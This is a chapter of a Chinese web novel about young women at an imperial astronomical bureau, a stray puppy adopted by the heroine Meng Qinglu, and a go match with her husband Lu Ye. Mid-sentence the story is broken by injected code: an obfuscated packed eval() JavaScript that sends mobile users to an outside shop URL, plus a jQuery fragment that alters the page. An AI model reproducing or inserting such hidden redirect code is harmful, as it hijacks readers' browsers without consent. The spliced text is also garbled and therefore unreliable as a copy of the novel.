秦芙拍掉她的手,假装哭唧唧:“遇不到还不能想想么。”
笑闹一阵,话题又转到朱影真身上。
她说起她阿娘最近想试着在胡饼里加新馅料,又怕街坊不买账,很是纠结。
“你们知不知道,范家,就是那个官商,要在东市开一间食肆。”
孟青芦摇了摇头:“我好久没往东市去了。”
“他们近日正要张罗开张,四处寻访手艺好的厨娘,前几日他们寻到我家,说我娘做的饼子糕点滋味绝佳,想请她去食肆里主事,给的工钱还很丰厚,可比寻常活计强多了。”
“但我娘却在纠结,她推着那辆小车卖饼做糕这些年,虽说只是辆随处走动的小食车,不比东市食肆体面,她却总念着这是她一手撑起来的。”
“我娘啊,就是太要强,一个人撑个铺子把我拉扯大,什么都想做到最好,她前几日还说等我老了以后致仕了就把铺子传给我。”
秦芙捏着一支箭,百无聊赖地戳着地面,叹了口气:“话说回来,我真的不能是你娘的女儿吗?你娘从不催你婚嫁,真的让我狠狠羡慕了,”
孟青芦举手:“加我一个!”
朱影真刚想说话,却突然放下手中矢,起身行礼:“监正大人。”
朱影真和孟青芦也赶忙起身行礼。
“哎,免礼免礼!”张元矩摆摆手,笑得见牙不见眼,“午休时辰,该玩玩,该歇歇!咱们司天台啊,观星测象已经够费脑子了,闲暇时松快些无妨!”
他目光扫过地上的投壶和旁边睡得四仰八叉的姜耳,笑意更浓:“不错,不错,劳逸结合嘛!你们继续,继续!”
说罢,又乐呵呵地背着手,慢悠悠地逛去了别处。
三人重新坐下,朱影真拍了拍胸脯:“监正大人怎么总喜欢瞎逛啊,太吓人了这也。”
秦芙正弯腰去拾散落的矢,朱影真忽然想起什么,压低声音问道:“对了芙娘,上回听你提了家里在议亲?如何了?”
秦芙:“大抵是定了。家里说是门好亲,势头正旺的人家,只是无甚根基。
那户人家中出色的儿郎早已婚配,剩下一位行七的郎君,据说性情有些孤僻,常年闭门读书,几乎不见外客,不甚得家中看重,我的夫婿大抵便是他了。”
她说得平静,孟青芦和朱影真却听出了其中的无奈与认命。
孟青芦和朱影真对视一眼,都从对方眼中看到了不平。
秦芙虽是高门庶女,在家中不受重视,但品性才貌俱佳,在司天台也兢兢业业,没想到婚事上竟被如此敷衍匹配。
“这算什么好亲!”朱影真替她不值,又不知该如何安慰,只能愤愤道,“他们也太不把你当回事了!”
“你与那七郎君见过面吗?长得俊吗?高吗?”孟青芦问。
秦芙:“没见过,应当不丑吧,应当不矮吧,主母说他曾是策马惊鸿的少年,前途无量,前几年从马上坠下,摔断了左腿,不过这些都不重要。”
朱影真皱了皱眉:“这很重要!如果我未来的夫婿又丑又矮,我就算是去死也不会嫁的!”
孟青芦附和:“带我一个!取人应先取眉目,后取谈吐,眉目不佳,谈吐虽妙,亦如画饼!
一个郎君的性情是可以装的,但是样貌是无法伪装的,丑拙之徒弊病何止于皮相?俊朗儿郎单是仪表堂堂,便已胜却人间无数了!”
“就是!”朱影真接话,“芙娘三思啊!”
秦芙反而安慰起她来:“无妨的,我都习惯了,俊朗还是面丑于我而言并不重要,我本就不受家中看重,能有门当户对的婚事已算不错。
那位七郎听闻只是性情静些,并非恶人,也并未听说容貌不行,或许也是个性情相投的。”
孟青芦看着她强作平静的侧脸,想起自己从前在孟家的境遇,心中戚戚,伸手轻轻拍了拍她的手背。
一时气氛有些沉闷。
“哎呀!姜耳!这不能吃!”秦芙赶紧轻轻推开小犬的脑袋。
原来是那小犬似乎对孟青芦的卷宗布袋产生了浓厚兴趣,伸出舌头,试探地去舔布袋的系带。
朱影真看出了秦芙是为了转移话题,于是也指着小狗笑道:“令楚,我看姜耳跟你挺亲,老粘着你,瞧它这机灵劲儿,你要不要带回去养啊,往后你看公文批烦了,还能逗逗它解闷儿!”
孟青芦低头伸手将它搂近了些,小狗立刻发出舒服的呜噜声。
“我回家不看公文,假日的时间一刻也不能用在职事上。”孟青芦摸了摸小狗柔软的背毛。
歇晌不过片晌,辰光倏逝,待案牍再理,已是酉时放衙。
中秋佳节前的最后一个公务日,即将结束。
孟青芦三人说笑着步出司天台大门,足下所至皆是一层暖金色。
刚走下台阶,便听得身后传来细碎的声响,回头一看,竟是姜耳不知何时跟了出来,正摇着蓬松的尾巴,亦步亦趋地缀在孟青芦身后几步远,乌溜溜的眼睛眼巴巴地望着她。
“呀!姜耳又跟出来啦!”朱影真惊喜道,蹲下身摸了摸小狗的脑袋,“它可真喜欢你,令楚!”
这时,一辆青绸马车恰好驶到近前停下。
车帘掀开,陆也探出头来,本是来接孟青芦下值的,目光却先被地上那团毛茸茸的白影吸引了:“咦?哪来的小狗?”
他利落地跳下车,朝身后的斫楠抬了抬下巴,斫楠会意,前从孟青芦手中接过了芦花的缰绳,将它牵到一旁等候。
朱影真又笑着撺掇:“说真的,你把它带回去吧,它真的与你好亲!我娘说这样有灵性的动物都是可遇不可求的!”
孟青芦揉了揉姜耳的脑袋:“带回去你能替我写公文吗?”
若家中只有它一人,她早就带了,可家中不只有她一个人,贸然带一只流浪犬回去实在不妥。
她在永宁侯府是新妇,是外姓人,带活物回府若由她提起,未免有失考虑,若是由陆也这个正经陆家人开口,便顺理成章得多。
秦芙调皮道:“带回家让姜耳帮你撕公文,这样就有理由不交公文了。”
孟青芦收手:“不必啊,家里就有现成的。”
陆也还在想家中何时有小犬了,随即猛地反应过来:“你说我啊?”
“噗嗤——”朱影真与秦芙两人都没忍住,笑出了声。
孟青芦一脸无辜地回望他,甚至还微微偏了偏头,仿佛在问:难道不是吗?
陆也被她这理直气壮又暗藏促狭的模样噎得一口气堵在胸口,他想反驳,可脑子里转了半天,发现居然找不到有力的词儿来反驳她。
他好没用啊,每次都说不过她。
陆也最终只是气呼呼地“哼”了一声,瞪了孟青芦一眼,又低头看了看脚边还在摇尾巴的小白狗。
忽然,他眼珠一转,像是找到了扳回一城的方法,蹲下身,一把将懵懂的姜耳抱了起来,举到面前,对着小狗,却分明是说给孟青芦听:“行,你说我是现成的是吧?那这只,小爷我偏要了!正缺个帮手呢!”
他揉了揉小狗的脑袋,故意大声道:“以后你就专门负责帮我撕夫子布置的课业!撕得越碎越好!看谁还能逼我背书!”
孟青芦眼底掠过一丝得逞的笑意,快得让人抓不住。
她面上却露出几分无奈:“如果你非要带,那我也没有办法。”
陆也抱着温软的小狗,手感颇好,那点别扭气不知不觉散了些。
他听到秦芙她们叫它“姜耳”,于是颇为满意地说:“姜耳这名字谁起的,当真是又贴切又好听!你以后跟着我混,保你吃香喝辣,专撕课业!走,回家!”
孟青芦没好意思告诉他是她起的,因为怕他又炸毛。
于是那辆青绸马车上,除了陆也和孟青芦,又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775409|206958||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多了一只小狗,它趴在铺着软垫的角落,好奇地东嗅西嗅。
回府后,一切如常。
晚膳时,谢允善和陆乘见了姜耳,问了句来历,听闻是司天台跟着孟青芦出来的缘分,谢允善笑着说了句倒是个有灵性的,陆乘还夸了句带得好,便也随他们去了。
饭后,各自回院。
陆也果然兴致勃勃地将姜耳带进了他们居住的正房。
屋内已点了灯,屏风隔开里外,陆也在外间临窗的榻上坐下,竟真的拿出那本让他头痛的《尚书正义》摊在小几上,又翻出纸笔,做出一副要温书的样子,然后把姜耳放到榻上。
“姜耳,看好了,这就是敌人!”他指着书页,煞有介事地对懵懂的小狗说,“来,给我展示一下你的本领!撕了它!”
姜耳自然听不懂,只以为陆也在跟它玩,兴奋地叫唤了两声,扑到书页上,用爪子扒拉了几下。
“对对对!就这样!干得漂亮!”陆也立刻大声鼓励,得意地朝屏风方向看了一眼。
屏风后,正在对镜梳理长发的孟青芦,听到外间传来一人一狗幼稚的对话和书本的细微声响,无奈地摇了摇头。
然而,姜耳对那本散发着墨味的敌人兴趣寥寥,只啃了两下便觉得无趣,它耳朵动了动,轻盈地跳下榻,绕过屏风,摇着尾巴直奔里间正坐在妆台前的孟青芦,毛茸茸的脑袋亲昵地蹭了蹭她的裙角,发出呜呜的撒娇声。
外间正等着战果的陆也:“……?”
“姜耳!你这叛徒!”他跟着转进来,就见小狗正舒服地趴在孟青芦脚边,一副找到了真正靠山的模样。
“看来你的帮手并不想和你一起吃香的喝辣的。”
陆也被噎了一下,梗着脖子道:“它它这是还没领会精髓!我再教教它!”
“省省吧。”孟青芦这才抬眼,似笑非笑地看他,“与其指望它,不如指望你自己,我瞧着,你倒是比它有撕书的天赋。”
“你!”陆也气结,每次斗嘴都落了下风的感觉实在憋屈,他眼珠一转,想起另一桩胜负,“哼,下棋!我们再下一局!我新琢磨了几手,这次肯定赢你!”
孟青芦好整以暇地转过身:“哦?若你输了呢?”
“我若输了,任凭你处置,你让我干什么我就干什么!”陆也说得豪气干云,“但是现在还没开始呢,你凭什么认定我一定输?说不定这次就是我赢了呢!”
“好啊。”孟青芦起身,走到外间榻边,“你若输了,中秋这三日假期,你的课业需得按时按量完成,一笔都不能少。还有——”
她顿了顿:“假期结束后,带我去弘文馆,见见你的授课夫子们。”
陆也一愣:“你要见我夫子们作甚?”
“自然是要知道你平日学得如何,在学堂里又是何等模样。”孟青芦理所当然,“你旬考在即,总得让我心里有个底,才好好好管教你,你爹娘的钱我不能白收不是?”
陆也头皮有点发麻,他咬牙应道:“行!一言为定!”
棋盘再次摆上。
这一次,陆也果然收敛了之前的许多随意,落子谨慎了不少,甚至偶有几步颇见机巧,显然是认真复盘钻研过的,棋局一度胶着。
“这一步,倒是精进了不少。”孟青芦看着棋盘某处,微微颔首,喃喃,“所以你根本不是蠢笨,而是不肯钻研。”
陆也听得心头一喜,嘴上却道:“那是自然!我聪明绝顶,稍稍用点心,还不是手到擒来!”
可惜,他这份得意没能维持到最后,孟青芦稳扎稳打,终究还是在收局阶段抓住了他的一处微小失误,最终以半目险胜。
看着棋盘上尘埃落定的局面,陆也懊恼地甩了甩腰间的玉佩:“就差一点!”
“差之毫厘,谬以千里。”孟青芦一边收棋子,一边淡淡道,“不过,进步很大,出乎我的意料,我都差点轻敌了。”